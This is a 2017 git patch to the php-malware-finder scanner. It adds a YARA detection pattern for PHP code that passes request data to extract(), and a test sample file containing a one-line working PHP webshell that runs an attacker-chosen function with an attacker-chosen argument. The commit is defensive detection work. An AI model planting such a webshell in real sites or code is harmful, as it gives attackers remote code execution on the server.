From 70728896028ab0443ea55e8793bf7da7571fc329 Mon Sep 17 00:00:00 2001
From: jvoisin
Date: Wed, 26 Apr 2017 17:30:22 +0200
Subject: Add a detection for a smart webshell

---
 php-malware-finder/php.yar                      | 1 +
 php-malware-finder/samples/undetected/smart.php | 2 ++
 2 files changed, 3 insertions(+)
 create mode 100644 php-malware-finder/samples/undetected/smart.php

diff --git a/php-malware-finder/php.yar b/php-malware-finder/php.yar
index 9b7cf2d..7cb0cf1 100644
--- a/php-malware-finder/php.yar
+++ b/php-malware-finder/php.yar
@@ -98,6 +98,7 @@ rule DodgyPhp
         $various = "<!--#exec cmd="  //http://www.w3.org/Jigsaw/Doc/User/SSI.html#exec
         $at_eval = /@eval\s*\(/ nocase
         $double_var = /\${\s*\${/
+		$extract = /extract\s*\(\s*\$_(GET|POST|REQUEST|COOKIE|SERVER)/
 
     condition:
         (any of them) and not IsWhitelisted
diff --git a/php-malware-finder/samples/undetected/smart.php b/php-malware-finder/samples/undetected/smart.php
new file mode 100644
index 0000000..f358562
--- /dev/null
+++ b/php-malware-finder/samples/undetected/smart.php
@@ -0,0 +1,2 @@
+<?php extract($_REQUEST); @die($ctime($atime));
+
-- 
cgit v1.3